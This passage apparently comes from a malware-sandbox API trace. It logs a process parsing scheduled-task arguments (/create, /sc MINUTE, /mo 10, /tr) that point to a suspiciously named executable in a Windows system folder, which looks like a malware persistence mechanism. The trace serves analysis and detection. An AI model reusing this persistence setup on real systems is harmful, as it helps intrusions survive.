(dwErrCode=0x490) [0162.590] lstrlenW (lpString="p") returned 1 [0162.590] lstrlenW (lpString="p") returned 1 [0162.590] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] lstrlenW (lpString="sc") returned 2 [0162.590] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.590] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.590] lstrlenW (lpString="|p|") returned 3 [0162.590] lstrlenW (lpString="|sc|") returned 4 [0162.590] SetLastError (dwErrCode=0x490) [0162.590] lstrlenW (lpString="ru") returned 2 [0162.590] lstrlenW (lpString="ru") returned 2 [0162.590] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] lstrlenW (lpString="sc") returned 2 [0162.590] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.590] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.590] lstrlenW (lpString="|ru|") returned 4 [0162.590] lstrlenW (lpString="|sc|") returned 4 [0162.590] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0162.590] SetLastError (dwErrCode=0x490) [0162.590] lstrlenW (lpString="rp") returned 2 [0162.590] lstrlenW (lpString="rp") returned 2 [0162.590] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] lstrlenW (lpString="sc") returned 2 [0162.590] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.590] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.591] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.591] lstrlenW (lpString="|rp|") returned 4 [0162.591] lstrlenW (lpString="|sc|") returned 4 [0162.591] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0162.591] SetLastError (dwErrCode=0x490) [0162.591] lstrlenW (lpString="sc") returned 2 [0162.591] lstrlenW (lpString="sc") returned 2 [0162.591] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.591] lstrlenW (lpString="sc") returned 2 [0162.591] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.591] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.591] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.591] lstrlenW (lpString="|sc|") returned 4 [0162.591] lstrlenW (lpString="|sc|") returned 4 [0162.591] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0162.591] SetLastError (dwErrCode=0x0) [0162.591] SetLastError (dwErrCode=0x0) [0162.591] lstrlenW (lpString="MINUTE") returned 6 [0162.591] lstrlenW (lpString="-/") returned 2 [0162.591] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0162.591] SetLastError (dwErrCode=0x490) [0162.591] SetLastError (dwErrCode=0x490) [0162.592] SetLastError (dwErrCode=0x0) [0162.592] lstrlenW (lpString="MINUTE") returned 6 [0162.592] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0162.592] SetLastError (dwErrCode=0x490) [0162.592] SetLastError (dwErrCode=0x0) [0162.592] GetProcessHeap () returned 0x170000 [0162.592] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d570 [0162.592] _memicmp (_Buf1=0x18d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.592] lstrlenW (lpString="MINUTE") returned 6 [0162.592] GetProcessHeap () returned 0x170000 [0162.592] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d590 [0162.592] lstrlenW (lpString="MINUTE") returned 6 [0162.592] lstrlenW (lpString=" \x09") returned 2 [0162.592] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0162.593] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0162.593] GetLastError () returned 0x0 [0162.593] lstrlenW (lpString="MINUTE") returned 6 [0162.593] lstrlenW (lpString="MINUTE") returned 6 [0162.593] SetLastError (dwErrCode=0x0) [0162.593] SetLastError (dwErrCode=0x0) [0162.593] lstrlenW (lpString="/mo") returned 3 [0162.593] lstrlenW (lpString="-/") returned 2 [0162.593] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.593] lstrlenW (lpString="create") returned 6 [0162.594] lstrlenW (lpString="create") returned 6 [0162.594] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] lstrlenW (lpString="mo") returned 2 [0162.594] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.594] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.594] lstrlenW (lpString="|create|") returned 8 [0162.594] lstrlenW (lpString="|mo|") returned 4 [0162.594] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0162.594] SetLastError (dwErrCode=0x490) [0162.594] lstrlenW (lpString="?") returned 1 [0162.594] lstrlenW (lpString="?") returned 1 [0162.594] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] lstrlenW (lpString="mo") returned 2 [0162.594] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.594] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.594] lstrlenW (lpString="|?|") returned 3 [0162.594] lstrlenW (lpString="|mo|") returned 4 [0162.594] SetLastError (dwErrCode=0x490) [0162.594] lstrlenW (lpString="s") returned 1 [0162.594] lstrlenW (lpString="s") returned 1 [0162.594] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] lstrlenW (lpString="mo") returned 2 [0162.594] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.594] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.594] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.595] lstrlenW (lpString="|s|") returned 3 [0162.595] lstrlenW (lpString="|mo|") returned 4 [0162.595] SetLastError (dwErrCode=0x490) [0162.595] lstrlenW (lpString="u") returned 1 [0162.595] lstrlenW (lpString="u") returned 1 [0162.595] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.595] lstrlenW (lpString="mo") returned 2 [0162.595] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.595] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.595] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.595] lstrlenW (lpString="|u|") returned 3 [0162.595] lstrlenW (lpString="|mo|") returned 4 [0162.595] SetLastError (dwErrCode=0x490) [0162.595] lstrlenW (lpString="p") returned 1 [0162.595] lstrlenW (lpString="p") returned 1 [0162.595] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.595] lstrlenW (lpString="mo") returned 2 [0162.595] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.595] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.595] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.595] lstrlenW (lpString="|p|") returned 3 [0162.595] lstrlenW (lpString="|mo|") returned 4 [0162.595] SetLastError (dwErrCode=0x490) [0162.595] lstrlenW (lpString="ru") returned 2 [0162.595] lstrlenW (lpString="ru") returned 2 [0162.595] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.596] lstrlenW (lpString="mo") returned 2 [0162.596] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.596] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.596] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.596] lstrlenW (lpString="|ru|") returned 4 [0162.596] lstrlenW (lpString="|mo|") returned 4 [0162.596] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0162.596] SetLastError (dwErrCode=0x490) [0162.596] lstrlenW (lpString="rp") returned 2 [0162.596] lstrlenW (lpString="rp") returned 2 [0162.596] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.596] lstrlenW (lpString="mo") returned 2 [0162.596] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.596] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.596] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.596] lstrlenW (lpString="|rp|") returned 4 [0162.596] lstrlenW (lpString="|mo|") returned 4 [0162.596] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0162.596] SetLastError (dwErrCode=0x490) [0162.596] lstrlenW (lpString="sc") returned 2 [0162.596] lstrlenW (lpString="sc") returned 2 [0162.596] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.596] lstrlenW (lpString="mo") returned 2 [0162.596] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.597] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.597] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.597] lstrlenW (lpString="|sc|") returned 4 [0162.597] lstrlenW (lpString="|mo|") returned 4 [0162.597] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0162.597] SetLastError (dwErrCode=0x490) [0162.597] lstrlenW (lpString="mo") returned 2 [0162.597] lstrlenW (lpString="mo") returned 2 [0162.597] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.597] lstrlenW (lpString="mo") returned 2 [0162.597] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.597] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.597] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.597] lstrlenW (lpString="|mo|") returned 4 [0162.597] lstrlenW (lpString="|mo|") returned 4 [0162.597] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0162.597] SetLastError (dwErrCode=0x0) [0162.597] SetLastError (dwErrCode=0x0) [0162.597] lstrlenW (lpString="10") returned 2 [0162.597] lstrlenW (lpString="-/") returned 2 [0162.597] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0162.597] SetLastError (dwErrCode=0x490) [0162.597] SetLastError (dwErrCode=0x490) [0162.597] SetLastError (dwErrCode=0x0) [0162.597] lstrlenW (lpString="10") returned 2 [0162.598] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0162.598] SetLastError (dwErrCode=0x490) [0162.598] SetLastError (dwErrCode=0x0) [0162.598] _memicmp (_Buf1=0x18d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.598] lstrlenW (lpString="10") returned 2 [0162.598] lstrlenW (lpString="10") returned 2 [0162.598] lstrlenW (lpString=" \x09") returned 2 [0162.598] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0162.598] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0162.598] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0162.598] GetLastError () returned 0x0 [0162.598] lstrlenW (lpString="10") returned 2 [0162.598] lstrlenW (lpString="10") returned 2 [0162.598] GetProcessHeap () returned 0x170000 [0162.598] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18c230 [0162.598] SetLastError (dwErrCode=0x0) [0162.598] SetLastError (dwErrCode=0x0) [0162.598] lstrlenW (lpString="/tr") returned 3 [0162.598] lstrlenW (lpString="-/") returned 2 [0162.598] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.598] lstrlenW (lpString="create") returned 6 [0162.598] lstrlenW (lpString="create") returned 6 [0162.598] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.598] lstrlenW (lpString="tr") returned 2 [0162.598] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.599] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.599] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.599] lstrlenW (lpString="|create|") returned 8 [0162.599] lstrlenW (lpString="|tr|") returned 4 [0162.599] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0162.599] SetLastError (dwErrCode=0x490) [0162.599] lstrlenW (lpString="?") returned 1 [0162.599] lstrlenW (lpString="?") returned 1 [0162.599] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.599] lstrlenW (lpString="tr") returned 2 [0162.599] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.599] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.599] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.599] lstrlenW (lpString="|?|") returned 3 [0162.599] lstrlenW (lpString="|tr|") returned 4 [0162.599] SetLastError (dwErrCode=0x490) [0162.599] lstrlenW (lpString="s") returned 1 [0162.599] lstrlenW (lpString="s") returned 1 [0162.599] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.599] lstrlenW (lpString="tr") returned 2 [0162.599] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.599] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.599] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.599] lstrlenW (lpString="|s|") returned 3 [0162.600] lstrlenW (lpString="|tr|") returned 4 [0162.600] SetLastError (dwErrCode=0x490) [0162.600] lstrlenW (lpString="u") returned 1 [0162.600] lstrlenW (lpString="u") returned 1 [0162.600] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.600] lstrlenW (lpString="tr") returned 2 [0162.600] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.600] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.600] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.600] lstrlenW (lpString="|u|") returned 3 [0162.600] lstrlenW (lpString="|tr|") returned 4 [0162.600] SetLastError (dwErrCode=0x490) [0162.600] lstrlenW (lpString="p") returned 1 [0162.600] lstrlenW (lpString="p") returned 1 [0162.600] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.600] lstrlenW (lpString="tr") returned 2 [0162.600] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.600] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.600] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.600] lstrlenW (lpString="|p|") returned 3 [0162.600] lstrlenW (lpString="|tr|") returned 4 [0162.600] SetLastError (dwErrCode=0x490) [0162.600] lstrlenW (lpString="ru") returned 2 [0162.600] lstrlenW (lpString="ru") returned 2 [0162.600] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.600] lstrlenW (lpString="tr") returned 2 [0162.600] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.601] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.601] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.601] lstrlenW (lpString="|ru|") returned 4 [0162.601] lstrlenW (lpString="|tr|") returned 4 [0162.601] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0162.601] SetLastError (dwErrCode=0x490) [0162.601] lstrlenW (lpString="rp") returned 2 [0162.601] lstrlenW (lpString="rp") returned 2 [0162.601] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.601] lstrlenW (lpString="tr") returned 2 [0162.601] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.601] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.601] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.601] lstrlenW (lpString="|rp|") returned 4 [0162.601] lstrlenW (lpString="|tr|") returned 4 [0162.601] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0162.601] SetLastError (dwErrCode=0x490) [0162.601] lstrlenW (lpString="sc") returned 2 [0162.601] lstrlenW (lpString="sc") returned 2 [0162.601] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.601] lstrlenW (lpString="tr") returned 2 [0162.601] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.601] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.601] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.601] lstrlenW (lpString="|sc|") returned 4 [0162.601] lstrlenW (lpString="|tr|") returned 4 [0162.601] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0162.602] SetLastError (dwErrCode=0x490) [0162.602] lstrlenW (lpString="mo") returned 2 [0162.602] lstrlenW (lpString="mo") returned 2 [0162.602] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.602] lstrlenW (lpString="tr") returned 2 [0162.602] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.602] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.602] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.602] lstrlenW (lpString="|mo|") returned 4 [0162.602] lstrlenW (lpString="|tr|") returned 4 [0162.602] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0162.602] SetLastError (dwErrCode=0x490) [0162.602] lstrlenW (lpString="d") returned 1 [0162.602] lstrlenW (lpString="d") returned 1 [0162.602] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.602] lstrlenW (lpString="tr") returned 2 [0162.602] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.602] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|d|") returned 3 [0162.602] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.602] lstrlenW (lpString="|d|") returned 3 [0162.602] lstrlenW (lpString="|tr|") returned 4 [0162.602] SetLastError (dwErrCode=0x490) [0162.602] lstrlenW (lpString="m") returned 1 [0162.602] lstrlenW (lpString="m") returned 1 [0162.602] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.602] lstrlenW (lpString="tr") returned 2 [0162.603] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.603] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|m|") returned 3 [0162.603] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.603] lstrlenW (lpString="|m|") returned 3 [0162.603] lstrlenW (lpString="|tr|") returned 4 [0162.603] SetLastError (dwErrCode=0x490) [0162.603] lstrlenW (lpString="i") returned 1 [0162.603] lstrlenW (lpString="i") returned 1 [0162.603] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.603] lstrlenW (lpString="tr") returned 2 [0162.603] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.603] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|i|") returned 3 [0162.603] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.603] lstrlenW (lpString="|i|") returned 3 [0162.603] lstrlenW (lpString="|tr|") returned 4 [0162.603] SetLastError (dwErrCode=0x490) [0162.603] lstrlenW (lpString="tn") returned 2 [0162.603] lstrlenW (lpString="tn") returned 2 [0162.603] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.603] lstrlenW (lpString="tr") returned 2 [0162.603] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.603] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.603] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.603] lstrlenW (lpString="|tn|") returned 4 [0162.603] lstrlenW (lpString="|tr|") returned 4 [0162.603] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0162.603] SetLastError (dwErrCode=0x490) [0162.604] lstrlenW (lpString="tr") returned 2 [0162.604] lstrlenW (lpString="tr") returned 2 [0162.604] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.604] lstrlenW (lpString="tr") returned 2 [0162.604] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.604] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.604] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.604] lstrlenW (lpString="|tr|") returned 4 [0162.604] lstrlenW (lpString="|tr|") returned 4 [0162.604] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0162.604] SetLastError (dwErrCode=0x0) [0162.604] SetLastError (dwErrCode=0x0) [0162.604] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.604] lstrlenW (lpString="-/") returned 2 [0162.604] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0162.604] SetLastError (dwErrCode=0x490) [0162.604] SetLastError (dwErrCode=0x490) [0162.604] SetLastError (dwErrCode=0x0) [0162.604] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.604] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'" [0162.604] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.604] _memicmp (_Buf1=0x18c360, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.604] _memicmp (_Buf1=0x18c3a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.604] SetLastError (dwErrCode=0x7a) [0162.604] SetLastError (dwErrCode=0x0) [0162.604] SetLastError (dwErrCode=0x0) [0162.604] lstrlenW (lpString="'C") returned 2 [0162.605] lstrlenW (lpString="-/") returned 2 [0162.605] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0162.605] SetLastError (dwErrCode=0x490) [0162.605] SetLastError (dwErrCode=0x490) [0162.605] SetLastError (dwErrCode=0x0) [0162.605] _memicmp (_Buf1=0x18d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.605] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.605] GetProcessHeap () returned 0x170000 [0162.605] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d590) returned 1 [0162.605] GetProcessHeap () returned 0x170000 [0162.605] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18d590, Size=0x88) returned 0x18c2c0 [0162.605] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.605] lstrlenW (lpString=" \x09") returned 2 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0162.605] StrChrW 